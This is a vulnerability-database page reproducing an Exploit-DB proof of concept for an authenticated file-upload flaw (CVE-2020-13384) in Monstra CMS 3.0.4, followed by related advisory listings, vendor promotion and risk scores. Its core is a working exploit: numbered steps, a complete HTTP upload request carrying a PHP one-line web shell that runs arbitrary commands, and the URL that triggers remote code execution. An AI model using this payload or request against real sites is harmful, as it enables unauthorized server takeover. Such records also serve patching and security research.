Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload
🗓️ 18 May 2020 00:00:00Reported by Kishan Lal ChoudharyType
exploitdb🔗 www.exploit-db.com👁 298 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2020-13384 | 27 May 202007:55 | – | circl | |
| Monstra CMS Code Issue Vulnerability | 25 May 202000:00 | – | cnvd | |
| CVE-2020-13384 | 22 May 202004:45 | – | cve | |
| CVE-2020-13384 | 22 May 202004:45 | – | cvelist | |
| EUVD-2020-5642 | 7 Oct 202500:30 | – | euvd | |
| CVE-2020-13384 | 22 May 202005:15 | – | nvd | |
| Monstra CMS <= 3.0.4 Multiple Vulnerabilities | 29 May 201800:00 | – | openvas | |
| CVE-2020-13384 | 22 May 202005:15 | – | osv_cve | |
| Sql injection | 22 May 202005:15 | – | prion | |
| PT-2020-13509 | 22 May 202000:00 | – | ptsecurity |
10
# Exploit Title: Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload
# Google Dork: N/A
# Date: 2020-05-18
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://monstra.org
# Software Link: https://bitbucket.org/awilum/monstra/downloads/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: Ubuntu
1. Goto: http://192.168.2.5/monstra/admin/index.php?id=filesmanager&path=uploads/
2. Upload a one liner shell with php7 extenstion ie: shell.php7
#burp request
------------------------------------EOF-----------------------------------------------------
POST /monstra/admin/index.php?id=filesmanager HTTP/1.1
Host: 192.168.2.5
Content-Length: 548
Cache-Control: max-age=0
Origin: http://192.168.2.5
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytRfyCkYq8NvztDBf
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.2.5/monstra/admin/index.php?id=filesmanager
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7
Cookie: PHPSESSID=eej6e0lqi191k2frqc2hl3v6d0; _ga=GA1.1.405623579.1579949328; _gid=GA1.1.2042923722.1579949328
Connection: close
------WebKitFormBoundarytRfyCkYq8NvztDBf
Content-Disposition: form-data; name="csrf"
2e6ae2353998caa319aae262b113c6b3f17a9636
------WebKitFormBoundarytRfyCkYq8NvztDBf
Content-Disposition: form-data; name="file"; filename="shell.php7"
Content-Type: application/octet-stream
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundarytRfyCkYq8NvztDBf
Content-Disposition: form-data; name="upload_file"
Upload
------WebKitFormBoundarytRfyCkYq8NvztDBf--
------------------------------------EOF-----------------------------------------------------
3. trigger your shell by visiting http://192.168.2.5/monstra/public/uploads/shell.php7?cmd=id
We have successfully got Remote Code executionData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 26.5
CVSS 3.18.8
EPSS0.02502